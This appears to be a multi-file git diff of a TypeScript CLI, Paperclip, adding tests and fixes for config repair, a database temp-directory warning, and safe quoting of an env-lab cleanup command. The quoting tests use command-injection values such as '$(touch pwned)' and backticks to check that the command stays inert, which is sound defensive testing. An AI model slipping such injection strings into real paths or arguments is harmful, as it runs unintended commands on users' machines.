||||
});
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import * as prompts from "@clack/prompts";
|
||||
import { configure } from "../commands/configure.js";
|
||||
import { readConfig } from "../config/store.js";
|
||||
|
||||
vi.mock("@clack/prompts", () => ({
|
||||
intro: vi.fn(),
|
||||
outro: vi.fn(),
|
||||
cancel: vi.fn(),
|
||||
confirm: vi.fn(),
|
||||
select: vi.fn(),
|
||||
isCancel: vi.fn(() => false),
|
||||
log: {
|
||||
error: vi.fn(),
|
||||
message: vi.fn(),
|
||||
step: vi.fn(),
|
||||
success: vi.fn(),
|
||||
warn: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("../prompts/server.js", () => ({
|
||||
promptServer: vi.fn(async ({ currentServer, currentAuth }) => ({
|
||||
server: currentServer,
|
||||
auth: currentAuth,
|
||||
})),
|
||||
}));
|
||||
|
||||
const ORIGINAL_EXIT_CODE = process.exitCode;
|
||||
let originalStdinIsTTY: boolean | undefined;
|
||||
let originalStdoutIsTTY: boolean | undefined;
|
||||
|
||||
beforeEach(() => {
|
||||
originalStdinIsTTY = process.stdin.isTTY;
|
||||
originalStdoutIsTTY = process.stdout.isTTY;
|
||||
Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: true });
|
||||
Object.defineProperty(process.stdout, "isTTY", { configurable: true, value: true });
|
||||
vi.mocked(prompts.confirm).mockResolvedValue(true);
|
||||
vi.spyOn(console, "log").mockImplementation(() => undefined);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
Object.defineProperty(process.stdin, "isTTY", {
|
||||
configurable: true,
|
||||
value: originalStdinIsTTY,
|
||||
});
|
||||
Object.defineProperty(process.stdout, "isTTY", {
|
||||
configurable: true,
|
||||
value: originalStdoutIsTTY,
|
||||
});
|
||||
process.exitCode = ORIGINAL_EXIT_CODE;
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe("configure invalid-config repair", () => {
|
||||
it("repairs only after confirmation and commits the staged config atomically", async () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-repair-"));
|
||||
const configPath = path.join(root, "config.json");
|
||||
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
|
||||
fs.writeFileSync(configPath, invalidBytes);
|
||||
const rename = vi.spyOn(fs, "renameSync");
|
||||
|
||||
try {
|
||||
await configure({ config: configPath, section: "server" });
|
||||
|
||||
expect(prompts.confirm).toHaveBeenCalledWith({
|
||||
message: `Repair from defaults? The invalid original is backed up at ${configPath}.invalid-1.`,
|
||||
initialValue: false,
|
||||
});
|
||||
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
|
||||
expect(readConfig(configPath)).not.toBeNull();
|
||||
expect(rename).toHaveBeenCalledWith(
|
||||
expect.stringMatching(/config\.json\.tmp-\d+-\d+$/),
|
||||
configPath,
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -96,4 +96,29 @@ describe("configure command", () => {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("backs up invalid config bytes and refuses non-interactive replacement", async () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-invalid-"));
|
||||
const configPath = path.join(root, "config.json");
|
||||
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
|
||||
const stdinDescriptor = Object.getOwnPropertyDescriptor(process.stdin, "isTTY");
|
||||
fs.writeFileSync(configPath, invalidBytes);
|
||||
Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: false });
|
||||
|
||||
try {
|
||||
await configure({ config: configPath, section: "server" });
|
||||
|
||||
expect(process.exitCode).toBe(1);
|
||||
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
|
||||
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
|
||||
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
|
||||
} finally {
|
||||
if (stdinDescriptor) {
|
||||
Object.defineProperty(process.stdin, "isTTY", stdinDescriptor);
|
||||
} else {
|
||||
delete (process.stdin as { isTTY?: boolean }).isTTY;
|
||||
}
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { databaseCheck } from "../checks/database-check.js";
|
||||
import type { PaperclipConfig } from "../config/schema.js";
|
||||
|
||||
const created: string[] = [];
|
||||
const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE;
|
||||
|
||||
function makeBase(): string {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-"));
|
||||
created.push(base);
|
||||
return base;
|
||||
}
|
||||
|
||||
function embeddedConfig(dataDir: string): PaperclipConfig {
|
||||
return {
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: dataDir,
|
||||
embeddedPostgresPort: 54321,
|
||||
},
|
||||
} as unknown as PaperclipConfig;
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE;
|
||||
else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE;
|
||||
while (created.length > 0) {
|
||||
const dir = created.pop();
|
||||
if (dir) fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe("databaseCheck — embedded postgres temp-dir guard", () => {
|
||||
it("passes when the data dir is on persistent (non-temp) storage", async () => {
|
||||
const base = makeBase();
|
||||
// Treat a sibling dir as the OS temp root so the persistent dir is outside it.
|
||||
vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp"));
|
||||
process.env.PAPERCLIP_IN_WORKTREE = "true";
|
||||
const persistentDataDir = path.join(base, "persistent", "instances", "default", "db");
|
||||
|
||||
const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json"));
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
expect(result.message).toContain("Embedded PostgreSQL configured at");
|
||||
});
|
||||
|
||||
it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => {
|
||||
const base = makeBase();
|
||||
const fakeTmp = path.join(base, "fake-tmp");
|
||||
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
|
||||
process.env.PAPERCLIP_IN_WORKTREE = "true";
|
||||
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
|
||||
|
||||
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
|
||||
|
||||
expect(result.status).toBe("warn");
|
||||
expect(result.message).toMatch(/temp directory/i);
|
||||
expect(result.message).toMatch(/ephemeral/i);
|
||||
expect(result.repairHint).toContain("PAPERCLIP_HOME");
|
||||
// Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir.
|
||||
expect(fs.existsSync(tmpDataDir)).toBe(false);
|
||||
});
|
||||
|
||||
it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => {
|
||||
const base = makeBase();
|
||||
const fakeTmp = path.join(base, "fake-tmp");
|
||||
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
|
||||
delete process.env.PAPERCLIP_IN_WORKTREE;
|
||||
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
|
||||
|
||||
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
});
|
||||
});
|
||||
@@ -1,6 +1,13 @@
|
||||
import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import * as p from "@clack/prompts";
|
||||
import {
|
||||
buildEnvLabCleanupCommand,
|
||||
collectEnvLabDoctorStatus,
|
||||
envLabDoctorCommand,
|
||||
resolveEnvLabCliInvocation,
|
||||
resolveEnvLabSshStatePath,
|
||||
} from "../commands/env-lab.js";
|
||||
|
||||
describe("env-lab command", () => {
|
||||
it("resolves the default SSH fixture state path under the instance root", () => {
|
||||
@@ -22,3 +29,259 @@ describe("env-lab command", () => {
|
||||
expect(status.ssh.environment).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("env-lab cleanup command hint", () => {
|
||||
const originalCwd = process.cwd();
|
||||
|
||||
afterEach(() => {
|
||||
process.chdir(originalCwd);
|
||||
});
|
||||
|
||||
// Resolve a source-checkout invocation for a fabricated checkout root. A source
|
||||
// checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
|
||||
// resolver reads that layout and returns the tsx runner and source entry.
|
||||
function sourceInvocation(root: string) {
|
||||
return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
|
||||
}
|
||||
|
||||
// Resolve a bundled-build invocation for a fabricated package root. The bundled
|
||||
// build runs this module from `<root>/dist/index.js`, so the resolver returns
|
||||
// that file as the entry with no tsx runner.
|
||||
function bundledInvocation(root: string) {
|
||||
return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
|
||||
}
|
||||
|
||||
// Split a command that uses POSIX single-quoting into its argument tokens. The
|
||||
// parser reads a single-quoted span verbatim and reads `\'` outside a span as a
|
||||
// literal single quote. This is the same rule a POSIX shell obeys, so a token
|
||||
// list proves the shell reads the exact paths and runs no embedded command.
|
||||
function tokenizePosix(command: string): string[] {
|
||||
const tokens: string[] = [];
|
||||
let current = "";
|
||||
let started = false;
|
||||
let inQuotes = false;
|
||||
for (let index = 0; index < command.length; index += 1) {
|
||||
const character = command[index];
|
||||
if (inQuotes) {
|
||||
if (character === "'") {
|
||||
inQuotes = false;
|
||||
} else {
|
||||
current += character;
|
||||
}
|
||||
} else if (character === "'") {
|
||||
inQuotes = true;
|
||||
started = true;
|
||||
} else if (character === "\\") {
|
||||
index += 1;
|
||||
current += command[index];
|
||||
started = true;
|
||||
} else if (character === " ") {
|
||||
if (started) {
|
||||
tokens.push(current);
|
||||
current = "";
|
||||
started = false;
|
||||
}
|
||||
} else {
|
||||
current += character;
|
||||
started = true;
|
||||
}
|
||||
}
|
||||
if (started) {
|
||||
tokens.push(current);
|
||||
}
|
||||
return tokens;
|
||||
}
|
||||
|
||||
// Return the two path arguments from the `node` command.
|
||||
function extractPaths(command: string): string[] {
|
||||
const tokens = tokenizePosix(command);
|
||||
return tokens.slice(1, 3);
|
||||
}
|
||||
|
||||
it("resolves both CLI paths to absolute paths", () => {
|
||||
const command = buildEnvLabCleanupCommand();
|
||||
const paths = extractPaths(command);
|
||||
|
||||
expect(paths).toHaveLength(2);
|
||||
for (const resolved of paths) {
|
||||
expect(path.isAbsolute(resolved)).toBe(true);
|
||||
}
|
||||
expect(command.endsWith("env-lab down")).toBe(true);
|
||||
});
|
||||
|
||||
it("points at the checked-out tsx runner and cli source entry", () => {
|
||||
const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
|
||||
|
||||
expect(tsxBin).toContain(
|
||||
path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
|
||||
);
|
||||
expect(entry).toContain(path.join("cli", "src", "index.ts"));
|
||||
});
|
||||
|
||||
it("returns the same command from a checkout subdirectory", () => {
|
||||
const fromRoot = buildEnvLabCleanupCommand();
|
||||
|
||||
// Simulate a contributor who runs `env-lab doctor` from a subdirectory of
|
||||
// the checkout. A relative path would change with the working directory, so
|
||||
// this asserts the command stays constant.
|
||||
process.chdir(path.dirname(originalCwd));
|
||||
const fromParent = buildEnvLabCleanupCommand();
|
||||
process.chdir(originalCwd);
|
||||
|
||||
expect(fromParent).toBe(fromRoot);
|
||||
});
|
||||
|
||||
it("never restores the unsafe pnpm invocation forms", () => {
|
||||
const command = buildEnvLabCleanupCommand();
|
||||
|
||||
// The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
|
||||
// does not resolve the CLI binary. Keep both out of the hint.
|
||||
expect(command).not.toContain("pnpm paperclipai");
|
||||
expect(command).not.toContain("pnpm exec paperclipai");
|
||||
});
|
||||
|
||||
// A checkout path can hold shell metacharacters. A contributor copies the hint
|
||||
// and pastes it into a shell. The hint must neutralize each metacharacter, so
|
||||
// the shell reads the exact path and runs no embedded command. Each case below
|
||||
// is a checkout root with one dangerous construct.
|
||||
const dangerousRoots = [
|
||||
{ label: "a dollar sign", root: "/tmp/env$lab/checkout" },
|
||||
{ label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
|
||||
{ label: "backticks", root: "/tmp/`touch pwned`/checkout" },
|
||||
{ label: "a double quote", root: '/tmp/env"lab/checkout' },
|
||||
{ label: "a single quote", root: "/tmp/env'lab/checkout" },
|
||||
];
|
||||
|
||||
for (const { label, root } of dangerousRoots) {
|
||||
it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
|
||||
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
|
||||
const tokens = tokenizePosix(command);
|
||||
const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
|
||||
const entry = path.join(root, "src", "index.ts");
|
||||
|
||||
// The shell reads the exact paths as single argument tokens. It does not
|
||||
// split the paths or run the embedded construct.
|
||||
expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
|
||||
|
||||
// The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
|
||||
// live. Do not restore it.
|
||||
expect(command).not.toContain(`"${tsxBin}"`);
|
||||
expect(command).not.toContain(`"${entry}"`);
|
||||
});
|
||||
}
|
||||
|
||||
it("forwards the inspected instance to the cleanup hint", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
instance: "fixture-test",
|
||||
invocation: sourceInvocation("/tmp/checkout"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The hint ends with `--instance <id>`, so it stops the fixture the doctor
|
||||
// command diagnosed, not the default instance.
|
||||
expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
|
||||
});
|
||||
|
||||
it("omits the instance flag when the doctor command uses the default instance", () => {
|
||||
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
|
||||
|
||||
// Without a selected instance, `env-lab down` resolves the same default
|
||||
// instance the doctor command inspected. Do not add an empty flag.
|
||||
expect(command).not.toContain("--instance");
|
||||
expect(command.endsWith("env-lab down")).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps an instance id with shell metacharacters inert", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
instance: "$(touch pwned)",
|
||||
invocation: sourceInvocation("/tmp/checkout"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The shell reads the instance id as one literal token and runs no embedded
|
||||
// command.
|
||||
expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
|
||||
expect(command).not.toContain('"$(touch pwned)"');
|
||||
});
|
||||
|
||||
it("runs the bundled dist entry directly, without the tsx runner", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
invocation: bundledInvocation("/opt/pkg"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The published package ships one `dist/index.js` file and no tsx runner, so
|
||||
// node runs that file directly.
|
||||
expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
|
||||
expect(command).not.toContain("tsx");
|
||||
expect(command).not.toContain(path.join("src", "index.ts"));
|
||||
});
|
||||
|
||||
it("keeps a bundled package path with shell metacharacters inert", () => {
|
||||
const root = "/opt/$(touch pwned)/pkg";
|
||||
const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
|
||||
const tokens = tokenizePosix(command);
|
||||
const entry = path.join(root, "dist", "index.js");
|
||||
|
||||
// The shell reads the exact bundled path as one token and runs no embedded
|
||||
// command.
|
||||
expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
|
||||
expect(command).not.toContain(`"${entry}"`);
|
||||
});
|
||||
});
|
||||
|
||||
describe("env-lab doctor cleanup hint instance", () => {
|
||||
const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
|
||||
|
||||
afterEach(() => {
|
||||
if (originalInstanceId === undefined) {
|
||||
delete process.env.PAPERCLIP_INSTANCE_ID;
|
||||
} else {
|
||||
process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
|
||||
}
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
// Capture the cleanup hint the doctor prints. The doctor reports through
|
||||
// `p.log`, so the test replaces each channel and reads the captured lines.
|
||||
function captureDoctorMessages(): string[] {
|
||||
const messages: string[] = [];
|
||||
vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => {
|
||||
messages.push(Array.isArray(message) ? message.join("\n") : (message ?? ""));
|
||||
});
|
||||
vi.spyOn(p.log, "success").mockImplementation(() => {});
|
||||
vi.spyOn(p.log, "warn").mockImplementation(() => {});
|
||||
vi.spyOn(p.log, "info").mockImplementation(() => {});
|
||||
return messages;
|
||||
}
|
||||
|
||||
it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
|
||||
// The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
|
||||
// The cleanup hint must target that instance, not the default instance.
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
|
||||
const messages = captureDoctorMessages();
|
||||
|
||||
await envLabDoctorCommand({ instance: undefined });
|
||||
|
||||
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
|
||||
expect(cleanup).toBeDefined();
|
||||
expect(cleanup).toContain("env-lab down");
|
||||
expect(cleanup).toContain("--instance");
|
||||
expect(cleanup).toContain("env-selected-instance");
|
||||
});
|
||||
|
||||
it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
|
||||
// An explicit `--instance` flag overrides the environment variable, so the
|
||||
// hint targets the explicit instance the doctor inspected.
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
|
||||
const messages = captureDoctorMessages();
|
||||
|
||||
await envLabDoctorCommand({ instance: "explicit-instance" });
|
||||
|
||||
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
|
||||
expect(cleanup).toBeDefined();
|
||||
expect(cleanup).toContain("--instance");
|
||||
expect(cleanup).toContain("explicit-instance");
|
||||
expect(cleanup).not.toContain("env-selected-instance");
|
||||
});
|
||||
});
|
||||
@@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => {
|
||||
/curl http:\/\/localhost:3100\/api\/health/,
|
||||
);
|
||||
await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
|
||||
/pnpm dev|pnpm paperclipai run/,
|
||||
/pnpm dev|npx paperclipai run/,
|
||||
);
|
||||
});
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@ import type { PaperclipConfig } from "../config/schema.js";
|
||||
const ORIGINAL_ENV = { ...process.env };
|
||||
const ORIGINAL_CWD = process.cwd();
|
||||
const ORIGINAL_PATH = process.env.PATH;
|
||||
const ORIGINAL_EXIT_CODE = process.exitCode;
|
||||
|
||||
function createExistingConfigFixture() {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-onboard-"));
|
||||
@@ -107,6 +108,7 @@ describe("onboard", () => {
|
||||
afterEach(() => {
|
||||
process.env = { ...ORIGINAL_ENV };
|
||||
process.chdir(ORIGINAL_CWD);
|
||||
process.exitCode = ORIGINAL_EXIT_CODE;
|
||||
});
|
||||
|
||||
it("preserves an existing config when rerun without flags", async () => {
|
||||
@@ -129,6 +131,20 @@ describe("onboard", () => {
|
||||
expect(fs.existsSync(path.join(path.dirname(fixture.configPath), ".env"))).toBe(true);
|
||||
});
|
||||
|
||||
it("backs up invalid config bytes and refuses --yes replacement", async () => {
|
||||
const configPath = createFreshConfigPath();
|
||||
const invalidBytes = Buffer.from('{"database": invalid}\n', "utf8");
|
||||
fs.mkdirSync(path.dirname(configPath), { recursive: true });
|
||||
fs.writeFileSync(configPath, invalidBytes);
|
||||
|
||||
await onboard({ config: configPath, yes: true, invokedByRun: true });
|
||||
|
||||
expect(process.exitCode).toBe(1);
|
||||
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
|
||||
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
|
||||
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
|
||||
});
|
||||
|
||||
it("keeps --yes onboarding on local trusted loopback defaults", async () => {
|
||||
const configPath = createFreshConfigPath();
|
||||
process.env.HOST = "0.0.0.0";
|
||||
|
||||
@@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => {
|
||||
delete process.env.AWS_DEFAULT_REGION;
|
||||
delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID;
|
||||
delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID;
|
||||
delete process.env.AWS_ACCESS_KEY_ID;
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
delete process.env.AWS_SESSION_TOKEN;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
|
||||
@@ -479,6 +479,8 @@ describe("skills CLI commands", () => {
|
||||
"review-prs",
|
||||
"--skill",
|
||||
"paperclip/qa",
|
||||
"--mode",
|
||||
"add",
|
||||
"--company-id",
|
||||
"company-1",
|
||||
"--api-base",
|
||||
@@ -498,7 +500,7 @@ describe("skills CLI commands", () => {
|
||||
"http://paperclip.test/api/agents/agent-1/skills/sync",
|
||||
expect.objectContaining({
|
||||
method: "POST",
|
||||
body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"] }),
|
||||
body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"], mode: "add" }),
|
||||
}),
|
||||
);
|
||||
expect(JSON.parse(String(logSpy.mock.calls[0]?.[0]))).toEqual(snapshot);
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli";
|
||||
import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli";
|
||||
import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli";
|
||||
import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli";
|
||||
import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli";
|
||||
import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli";
|
||||
import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli";
|
||||
import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli";
|
||||
@@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = {
|
||||
formatStdoutEvent: printGrokStreamEvent,
|
||||
};
|
||||
|
||||
const kimiLocalCLIAdapter: CLIAdapterModule = {
|
||||
type: "kimi_local",
|
||||
formatStdoutEvent: printKimiStreamEvent,
|
||||
};
|
||||
|
||||
const hermesGatewayCLIAdapter: CLIAdapterModule = {
|
||||
type: "hermes_gateway",
|
||||
formatStdoutEvent: printHermesGatewayStreamEvent,
|
||||
@@ -78,6 +84,7 @@ const adaptersByType = new Map<string, CLIAdapterModule>(
|
||||
cursorCloudCLIAdapter,
|
||||
geminiLocalCLIAdapter,
|
||||
grokLocalCLIAdapter,
|
||||
kimiLocalCLIAdapter,
|
||||
hermesGatewayCLIAdapter,
|
||||
hermesLocalCLIAdapter,
|
||||
openclawGatewayCLIAdapter,
|
||||
|
||||
@@ -1,8 +1,16 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import type { PaperclipConfig } from "../config/schema.js";
|
||||
import type { CheckResult } from "./index.js";
|
||||
import { resolveRuntimeLikePath } from "./path-resolver.js";
|
||||
|
||||
function isInsideOsTmpDir(targetPath: string): boolean {
|
||||
const tmpRoot = path.resolve(os.tmpdir());
|
||||
const resolved = path.resolve(targetPath);
|
||||
return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`);
|
||||
}
|
||||
|
||||
export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise<CheckResult> {
|
||||
if (config.database.mode === "postgres") {
|
||||
if (!config.database.connectionString) {
|
||||
@@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string
|
||||
|
||||
if (config.database.mode === "embedded-postgres") {
|
||||
const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath);
|
||||
const reportedPath = dataDir;
|
||||
|
||||
// A worktree-mode instance whose data dir lives under the OS temp dir is a red
|
||||
// flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak
|
||||
// into a PRIMARY instance's environment and silently relocate it to a throwaway
|
||||
// temp home, so it boots an empty DB and locks everyone out. (Intentional
|
||||
// ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.)
|
||||
// Check BEFORE creating the dir so we don't bootstrap the very temp location
|
||||
// we're warning about.
|
||||
if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") {
|
||||
return {
|
||||
name: "Database",
|
||||
status: "warn",
|
||||
message:
|
||||
`Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` +
|
||||
"while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " +
|
||||
"ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " +
|
||||
"instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " +
|
||||
"pointing it at a throwaway worktree home instead of your real data.",
|
||||
canRepair: false,
|
||||
repairHint:
|
||||
"If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " +
|
||||
"(or pass --data-dir <persistent path>) and restart so it uses the persistent instance.",
|
||||
};
|
||||
}
|
||||
|
||||
if (!fs.existsSync(dataDir)) {
|
||||
fs.mkdirSync(reportedPath, { recursive: true });
|
||||
fs.mkdirSync(dataDir, { recursive: true });
|
||||
}
|
||||
|
||||
return {
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
type InstallStorePaths,
|
||||
} from "../install-store.js";
|
||||
import type { CheckResult } from "./index.js";
|
||||
import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
|
||||
|
||||
function pathContains(directory: string): boolean {
|
||||
const normalized = path.resolve(directory);
|
||||
@@ -33,14 +34,13 @@ function hasManagedArtifacts(paths: InstallStorePaths): boolean {
|
||||
}
|
||||
|
||||
export function nodeRuntimeCheck(): CheckResult {
|
||||
const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
|
||||
return major >= 20
|
||||
return isSupportedNodeVersion(process.versions.node)
|
||||
? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` }
|
||||
: {
|
||||
name: "Node.js runtime",
|
||||
status: "fail",
|
||||
message: `Node.js ${process.versions.node} is unsupported`,
|
||||
repairHint: "Install Node.js 20 or newer before installing or running Paperclip",
|
||||
repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`,
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
+10
-1
@@ -88,6 +88,15 @@ export class PaperclipApiClient {
|
||||
}, opts);
|
||||
}
|
||||
|
||||
/** Raw binary upload (e.g. one chunked import-transfer part); the body travels as-is. */
|
||||
putRaw<T>(path: string, body: Uint8Array, opts?: RequestOptions): Promise<T | null> {
|
||||
return this.request<T>(path, {
|
||||
method: "PUT",
|
||||
body: body as unknown as BodyInit,
|
||||
headers: { "content-type": "application/octet-stream" },
|
||||
}, opts);
|
||||
}
|
||||
|
||||
delete<T>(path: string, opts?: RequestOptions): Promise<T | null> {
|
||||
return this.request<T>(path, { method: "DELETE" }, opts);
|
||||
}
|
||||
@@ -224,7 +233,7 @@ function buildConnectionErrorMessage(input: {
|
||||
"This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.",
|
||||
"",
|
||||
"Try:",
|
||||
"- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.",
|
||||
"- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.",
|
||||
`- Verify the server is reachable with \`curl ${healthUrl}\`.`,
|
||||
`- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`,
|
||||
);
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
import { execFile } from "node:child_process";
|
||||
import { promisify } from "node:util";
|
||||
import pc from "picocolors";
|
||||
import { resolvePublishedVersion, type CommandRunner } from "./install.js";
|
||||
import { packageVersion } from "../version.js";
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
|
||||
const defaultRunCommand: CommandRunner = (command, args, options) =>
|
||||
execFileAsync(command, args, { ...options, encoding: "utf8" });
|
||||
|
||||
export type ChannelName = "stable" | "beta" | "nightly" | "canary";
|
||||
|
||||
export type ChannelDescriptor = {
|
||||
channel: ChannelName;
|
||||
distTag: string;
|
||||
cadence: string;
|
||||
audience: string;
|
||||
};
|
||||
|
||||
// Ordered from most to least stable — the order users should consider them.
|
||||
